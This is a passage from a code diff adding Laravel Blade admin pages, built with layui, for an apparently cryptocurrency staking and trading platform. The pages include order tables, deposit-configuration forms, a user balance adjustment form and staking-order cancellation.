@{{d.is_expired==0 ? '<span class="layui-badge layui-bg-red">'+'无效'+'</span>' : '' }}
|
||||
</script>
|
||||
<script type="text/html" id="bindCode">
|
||||
|
||||
</script>
|
||||
<script>
|
||||
|
||||
layui.use(['element', 'form', 'layer', 'table'], function () {
|
||||
var element = layui.element
|
||||
,layer = layui.layer
|
||||
,table = layui.table
|
||||
,$ = layui.$
|
||||
,form = layui.form
|
||||
//第一个实例
|
||||
var bindSuccessOrderlist = table.render({
|
||||
|
||||
elem: '#bindSuccessOrderlist'
|
||||
,url: '{{url('admin/bind_box/success_order_list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,limit: 20
|
||||
,limits: [20, 50, 100, 200, 500, 1000]
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: '订单ID', minWidth:80, sort: true}
|
||||
,{field: 'code', title: '哈希值', minWidth:350, templet:"bindCode"}
|
||||
,{field: 'currency_name', title:'交易币种', minWidth:80}
|
||||
,{field: 'user_id', title:'用户ID', minWidth:110}
|
||||
,{field: 'is_read', title: '已读情况', minWidth:80,templet:"#bindSuccessOrderRead"}
|
||||
,{field: 'is_pay', title: '支付情况', minWidth:80, templet:"#bindSuccessOrderPay"}
|
||||
,{field: 'is_expired', title: '状态', minWidth:80, templet:"#bindSuccessOrderStatus"}
|
||||
,{field: 'created', title:'创建时间', minWidth:155, templet:function(data){
|
||||
return layui.util.toDateString(data.created*1000,"yyyy-MM-dd HH:mm:ss")
|
||||
}}
|
||||
,{field: 'overtime', title:'过期时间', minWidth:155, templet:function(data){
|
||||
return layui.util.toDateString(data.overtime*1000,"yyyy-MM-dd HH:mm:ss")
|
||||
}}
|
||||
,{field: 'pay_time', title:'支付时间', minWidth:155, templet:function(data){
|
||||
return layui.util.toDateString(data.pay_time*1000,"yyyy-MM-dd HH:mm:ss")
|
||||
}}
|
||||
// ,{title: '操作',fixed: 'right', Width:50, toolbar: '#barBind'}
|
||||
]]
|
||||
});
|
||||
// //监听热卖操作
|
||||
// form.on('switch(sexDemo)', function(obj){
|
||||
// var id = this.value;
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/currency_display')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:id},
|
||||
// success:function (res) {
|
||||
// if(res.error != 0){
|
||||
// layer.msg(res.message);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
|
||||
// // 监听工具条
|
||||
// table.on('tool(bindSuccessOrderlist)', function (obj) {
|
||||
// var layEvent = obj.event
|
||||
// ,data = obj.data
|
||||
// if (layEvent === 'edit') {
|
||||
// var index = layer.open({
|
||||
// title: '编辑'
|
||||
// ,type: 2
|
||||
// ,content: '{{url('/admin/bind_box/edit')}}?id=' + data.id
|
||||
// ,area: ['960px', '700px']
|
||||
// });
|
||||
// }
|
||||
// });
|
||||
|
||||
//监听提交
|
||||
form.on('submit(bindSuccessOrderSearch)', function (data) {
|
||||
bindSuccessOrderlist.reload({
|
||||
where: data.field
|
||||
,page: {
|
||||
curr: 1 //重新从第 1 页开始
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,108 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" id="add_project">添加项目</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<table id="data_table" lay-filter="data_table"></table>
|
||||
@endsection
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="delete">删除</a>
|
||||
</script>
|
||||
<script>
|
||||
$('#add_project').click(function() {
|
||||
var index = layer.open({
|
||||
title:'添加项目'
|
||||
,type:2
|
||||
,content: '/admin/deposit/config/add/view'
|
||||
,area: ['100%', '100%']
|
||||
,maxmin: true
|
||||
,anim: 3
|
||||
});
|
||||
});
|
||||
let url=window.location.href;
|
||||
let configId="";
|
||||
if(url.indexOf("id")!=-1){
|
||||
configId=url.substr(url.lastIndexOf("/")+1);
|
||||
}
|
||||
|
||||
layui.use(['table', 'layer', 'form'], function() {
|
||||
var table = layui.table
|
||||
,layer = layui.layer
|
||||
,form = layui.form
|
||||
,$ = layui.$
|
||||
var data_table = table.render({
|
||||
elem: '#data_table'
|
||||
,url: '/admin/deposit/config'
|
||||
,height: 'full'
|
||||
,toolbar: 'default'
|
||||
,page: true
|
||||
,cols: [[
|
||||
{type: 'radio'}
|
||||
,{field: 'id', title: 'id', width: 70}
|
||||
,{field: 'currency_name', title: '交易币', width: 80}
|
||||
,{field: 'day', title: '期限', width: 80}
|
||||
,{field: 'interest_rate', title: '利息(%)', width: 150}
|
||||
,{field: 'intro', title: '文案', width: 150}
|
||||
,{field: 'save_min', title: '最少存币数', width: 300}
|
||||
,{field: 'created_at', title: '创建时间', width: 200}
|
||||
,{fixed: 'right', title: '操作', width: 190, align: 'center', toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
table.on('tool(data_table)', function (obj) {
|
||||
var data = obj.data;
|
||||
var layEvent = obj.event;
|
||||
var tr = obj.tr;
|
||||
var selected = table.checkStatus('data_table')
|
||||
if (layEvent === 'delete') { //删除
|
||||
layer.confirm('真的要删除吗?', function (index) {
|
||||
//向服务端发送删除指令
|
||||
$.ajax({
|
||||
url: "/admin/deposit/config/delete",
|
||||
type: 'post',
|
||||
dataType: 'json',
|
||||
data: {id: data.id},
|
||||
success: function (res) {
|
||||
if (res.type == 'ok') {
|
||||
obj.del(); //删除对应行(tr)的DOM结构,并更新缓存
|
||||
layer.close(index);
|
||||
} else {
|
||||
layer.close(index);
|
||||
layer.alert(res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
if(layEvent === 'edit'){
|
||||
if (selected.data.length != 1) {
|
||||
layer.msg('只能编辑一个质押配置');
|
||||
return false;
|
||||
}
|
||||
id = selected.data[0].id
|
||||
var data=selected.data[0];
|
||||
layer.open({
|
||||
title: '编辑质押'
|
||||
,type: 2
|
||||
,content: '/admin/deposit/config/edit/view?id='+id
|
||||
,area: ['600px', '380px']
|
||||
});
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
@endsection
|
||||
@@ -0,0 +1,94 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.layui-form-label {
|
||||
width: 150px;
|
||||
}
|
||||
.layui-input-block {
|
||||
margin-left: 180px;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<input type="hidden" id="id" data-type="0" >
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">币种</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="currency_id" lay-verify="required" id="currency_id" lay-search>
|
||||
@foreach ($currencies as $currency)
|
||||
<option value="{{ $currency->id }}"> {{ $currency->name }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">期限</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="day" id="day" required autocomplete="off" placeholder="" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">利息(百分比)</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="rate" id="rate" required autocomplete="off" placeholder="" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">文案</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="intro" id="intro" required autocomplete="off" placeholder="" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">最小值</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="save_min" id="save_min" autocomplete="off" placeholder="" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
let url=window.location.href;
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
var data = data.field;
|
||||
|
||||
$.ajax({
|
||||
url:'{{url('admin/deposit/add_deposit_config')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
|
||||
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,90 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.layui-form-label {
|
||||
width: 150px;
|
||||
}
|
||||
.layui-input-block {
|
||||
margin-left: 180px;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<input type="hidden" id="id" data-type="0" >
|
||||
<div class="layui-form-item">
|
||||
<label for="currency_id" class="layui-form-label">币种</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" disabled="disabled" name="currency_name" id="name" value="{{$model->currency_name}}" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">期限</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="day" id="day" required autocomplete="off" placeholder="" class="layui-input" value="{{$model->day}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">利息(百分比)</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="rate" id="rate" required autocomplete="off" placeholder="" class="layui-input" value="{{$model->interest_rate}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">文案</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="intro" id="intro" required autocomplete="off" placeholder="" class="layui-input" value="{{$model->intro}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">最小值</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="save_min" id="save_min" autocomplete="off" placeholder="" class="layui-input" value="{{$model->save_min}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
// let url=window.location.href;
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
// console.log(123);return;
|
||||
var data = data.field;
|
||||
$.ajax({
|
||||
url:'{{url('admin/deposit/edit_deposit_config')}}?id='+{{$model->id}}
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,123 @@
|
||||
@extends('admin._layoutNew')
|
||||
@section('page-head')
|
||||
|
||||
@stop
|
||||
@section('page-content')
|
||||
<div class="larry-personal-body clearfix">
|
||||
<form class="layui-form col-lg-5">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户账号</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="account" id="account" autocomplete="off" class="layui-input layui-disabled" value="" placeholder="" disabled>
|
||||
</div>
|
||||
</div>
|
||||
<!--<div class="layui-form-item">-->
|
||||
<!-- <label class="layui-form-label">理财账户币种</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <select name="type" lay-verify="required" lay-filter="type" id="type">-->
|
||||
<!-- <option value="1">AUTH</option>-->
|
||||
<!-- <option value="2">USDT</option>-->
|
||||
<!-- </select>-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">调节DF币种余额</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="df_balance" id="df_balance" required lay-verify="required" placeholder="请输入要改成多少余额" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">调节USDT币种余额</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="usdt_balance" id="usdt_balance" required lay-verify="required" placeholder="请输入要改成多少余额" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit lay-filter="user_submit">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
@stop
|
||||
@section('scripts')
|
||||
<script type="text/javascript">
|
||||
let url=window.location.href;
|
||||
var account_id='';
|
||||
var account='';
|
||||
var df_balance='';
|
||||
var usdt_balance='';
|
||||
if(url.indexOf("?")!=-1){
|
||||
url=url.substr(url.indexOf('?')+1);
|
||||
url=url.split('&');
|
||||
for(let i in url){
|
||||
if(i==0){
|
||||
user_id=url[i].split("=")[1]
|
||||
}else{
|
||||
account=url[i].split("=")[1]
|
||||
}
|
||||
}
|
||||
$("#account").val(account);
|
||||
$.ajax({
|
||||
url:'{{url('admin/ybb/account')}}',
|
||||
type: 'get',
|
||||
dataType: 'json',
|
||||
data: {
|
||||
user_id:user_id
|
||||
},
|
||||
success: function (res) {
|
||||
account_id=res.message.id;
|
||||
df_balance = res.message.df_balance;
|
||||
usdt_balance=res.message.usdt_balance
|
||||
$("#df_balance").val(df_balance);
|
||||
$("#usdt_balance").val(usdt_balance);
|
||||
}
|
||||
});
|
||||
}
|
||||
layui.use(['form','upload','layer'], function () {
|
||||
var layer = layui.layer;
|
||||
var form = layui.form;
|
||||
var $ = layui.$;
|
||||
form.on('select(type)', function (data) {
|
||||
if(data.elem.value==1){
|
||||
$("#balance").val(df_balance?df_balance:0)
|
||||
}else if(data.elem.value==2){
|
||||
$("#balance").val(usdt_balance?usdt_balance:0);
|
||||
}
|
||||
console.log(data);
|
||||
});
|
||||
form.on('submit(user_submit)', function (data) {
|
||||
// var balance=$("#balance").val();
|
||||
// var type=$("#type option:selected").val();
|
||||
var data = data.field;
|
||||
data.id=account_id;
|
||||
// if(type==1){
|
||||
// data.df_balance=balance;
|
||||
// }else if(type==2){
|
||||
// data.usdt_balance=balance;
|
||||
// }
|
||||
|
||||
$.ajax({
|
||||
url:'{{url('admin/ybb/account/edit')}}',
|
||||
type: 'post',
|
||||
dataType: 'json',
|
||||
data: data,
|
||||
success: function (res) {
|
||||
layer.msg(res.message);
|
||||
if(res.type == 'ok') {
|
||||
var index = parent.layer.getFrameIndex(window.name);
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}else{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
</script>
|
||||
@stop
|
||||
@@ -0,0 +1,180 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">订单ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="order_id" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户名,ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="mobile" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="status" class="layui-input">
|
||||
<option value="">选择状态</option>
|
||||
<option value="1">进行中</option>
|
||||
<option value="2">毁约</option>
|
||||
<option value="3">到期</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="searchtj">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
|
||||
<table id="boss" lay-filter="boss"></table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="cancelOrder" title='取消质押订单'><i class="layui-icon"></i>取消订单</a>
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['table','form'], function(){
|
||||
// console.log(layui.setter.base)
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#boss'
|
||||
,url: '{{url('admin/ybb/list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: '订单ID', width:100, sort: true}
|
||||
,{field: 'user_id', title: '用户ID', width:100}
|
||||
,{field: 'account_number', title: '用户名', width:200}
|
||||
,{field:'currency_name',title:'币种',width:100}
|
||||
,{field:'day_rate',title: '日利率', width:100}
|
||||
,{field: 'amount', title: '存币数量', width:200}
|
||||
,{field: 'total_interest', title: '总利息', width:100}
|
||||
,{field: 'start_at', title: '开始时间', width:120}
|
||||
,{field: 'end_at', title: '到期时间',}
|
||||
,{ title: '状态',templet:function(d){
|
||||
if(d.is_cancel){
|
||||
if(d.status==1){
|
||||
return '<span style="color:#00c087">进行中</span>';
|
||||
}else if(d.status==2){
|
||||
return '<span style="color:#f00">毁约</span>';
|
||||
}
|
||||
}else{
|
||||
if(d.status==1){
|
||||
return '<span style="color:#00c087">进行中</span>';
|
||||
}else if(d.status==2){
|
||||
return '<span style="color:#f00">到期</span>';
|
||||
}
|
||||
}
|
||||
}}
|
||||
,{title:'操作',templet:function(d){
|
||||
if(d.is_cancel){
|
||||
if(d.status==1){
|
||||
return '<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="cancelOrder" title="取消质押订单"><i class="layui-icon"></i>取消订单</a>' ;
|
||||
}else if(d.status==2){
|
||||
return '<span style="color:#f00">已毁约</span>';
|
||||
}
|
||||
}else{
|
||||
if(d.status==1){
|
||||
return '<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="cancelOrder" title="取消质押订单"><i class="layui-icon"></i>取消订单</a>' ;
|
||||
}else if(d.status==2){
|
||||
return '<span style="color:#f00">到期</span>';
|
||||
}
|
||||
}
|
||||
}}
|
||||
]]
|
||||
});
|
||||
|
||||
|
||||
//监听提交
|
||||
form.on('submit(searchtj)', function(data){
|
||||
// var seller_name = data.field.seller_name
|
||||
var account_number = data.field.mobile,
|
||||
order_id = data.field.order_id,
|
||||
status= data.field.status,
|
||||
is_cancel=0;
|
||||
if(status==2){
|
||||
is_cancel=1;
|
||||
}
|
||||
if(status==3){
|
||||
status=2;
|
||||
is_cancel=0;
|
||||
}
|
||||
if(status==1 || status==""){
|
||||
is_cancel='';
|
||||
}
|
||||
// ,currency_id = $('#currency_id').val()
|
||||
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
is_cancel:is_cancel,
|
||||
order_id:order_id,
|
||||
account_number:account_number,
|
||||
status:status,
|
||||
// currency_id:currency_id,
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
table.on('tool(boss)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'getsons'){
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
p_id:data.id,
|
||||
// currency_id:currency_id,
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
}else if(obj.event === 'cancelOrder'){
|
||||
//管理员取消质押订单
|
||||
$.ajax({
|
||||
url:'{{url('admin/deposit/cancelOrder')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : {id: obj.data.id,}
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
layer.msg(res.message);
|
||||
window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,161 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
p.percent {
|
||||
text-align: right;
|
||||
margin-right: 10px;
|
||||
}
|
||||
p.percent::after {
|
||||
content: '%';
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form layui-form-pane layui-inline" action="">
|
||||
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label class="layui-form-label">账号</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="search" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="mobile_search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</form>
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
@{{d.status==0 ? '<a class="layui-btn layui-btn-xs" lay-event="del">确认</a><a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="edit">驳回</a>' : '' }}
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['table','form','laydate'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
var laydate = layui.laydate;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,toolbar: '#toolbar'
|
||||
,url: '{{url('admin/ybb/unlock/list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:60, sort: true}
|
||||
,{field: 'account_number', title: '账号', minWidth:80}
|
||||
,{field: 'amount', title: '存款数量', minWidth:80}
|
||||
,{field: 'total_interest', title: '已产生利息', minWidth:80}
|
||||
,{field: 'status', title: '状态', minWidth:80,templet:function(d){
|
||||
if(d.status==1){
|
||||
return '<span style="color:#5fb878">进行中</span>';
|
||||
}
|
||||
if(d.status==2){
|
||||
return '<span style="color:#f00">已结束</span>';
|
||||
}
|
||||
return '';
|
||||
}}
|
||||
,{field: 'start_at', title: '开始时间', minWidth:80}
|
||||
,{field: 'end_at', title: '完成时间', minWidth:80}
|
||||
,{field: 'last_settle_time', title: '上次派息时间', minWidth:80}
|
||||
,{field: 'is_cancel', title: '是否取消', minWidth:80,templet:function(d){
|
||||
if(d.is_cancel==1){
|
||||
return '<span style="color:#5fb878">是</span>';
|
||||
}else{
|
||||
return '<span style="color:#f00">否</span>';
|
||||
}
|
||||
|
||||
}}
|
||||
//,{field: 'create_time', title: '添加时间', width:160}
|
||||
// ,{title:'操作',width:240,toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
//监听提交
|
||||
// form.on('submit(mobile_search)', function(data){
|
||||
// var account_number = data.field.account_number;
|
||||
// var start_time = $("#start_time").val()
|
||||
// var end_time = $("#end_time").val()
|
||||
// var status = $('#status').val()
|
||||
// table.reload('mobileSearch',{
|
||||
// where:{mobile:account_number,status:status,start_time:start_time,end_time:end_time},
|
||||
// page: {curr: 1} //重新从第一页开始
|
||||
// });
|
||||
// return false;
|
||||
// });
|
||||
laydate.render({
|
||||
elem: '#start_time'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#end_time'
|
||||
});
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('真的确认么', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/flashagainst/affirm')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
if (res.type == 'error') {
|
||||
layer.msg(res.message);
|
||||
} else {
|
||||
layer.msg(res.message);
|
||||
setTimeout(function () {
|
||||
location.reload()
|
||||
}, 2000)
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
layer.confirm('是否驳回', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/flashagainst/reject')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
layer.msg(res.message);
|
||||
setTimeout(function () {
|
||||
location.reload()
|
||||
}, 2000)
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
}
|
||||
});
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
var search = data.field.search;
|
||||
table.reload('mobileSearch',{
|
||||
where:{search:search},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endsection
|
||||
@@ -0,0 +1,253 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
|
||||
|
||||
@section('page-content')
|
||||
<div style="margin-top: 10px;width: 100%;margin-left: 10px;">
|
||||
|
||||
|
||||
<form class="layui-form layui-form-pane layui-inline" action="">
|
||||
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label >用户交易账号 </label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="account_number" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label >商家交易账号 </label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="seller_number" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label>买入/卖出 </label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="type" id="type_type">
|
||||
<option value="" class="ww">全部</option>
|
||||
<option value="sell" class="ww">买入</option>
|
||||
<option value="buy" class="ww">卖出</option>
|
||||
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="mobile_search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</form>
|
||||
{{--<button class="layui-btn layui-btn-normal daochu" onclick="javascrtpt:window.location.href='{{url('/admin/c2c_deal/csv')}}'">导出交易信息</button>--}}
|
||||
<button class="layui-btn layui-btn-normal daochu">导出交易信息</button>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="layui-card-body">
|
||||
<div class="layui-carousel layadmin-backlog" style="background-color: #fff">
|
||||
<ul class="layui-row layui-col-space10 layui-this">
|
||||
<li class="layui-col-xs3">
|
||||
<a href="javascript:;" onclick="layer.tips('买入交易总额', this, {tips: 3});" class="layadmin-backlog-body" style="color: #fff;background-color: #01AAED;display: block;padding: 10px;">
|
||||
<h3>买入交易总额:</h3>
|
||||
<p><cite style="color:#fff" id="all">{{$buy_all_number}}</cite></p>
|
||||
</a>
|
||||
</li>
|
||||
<li class="layui-col-xs3">
|
||||
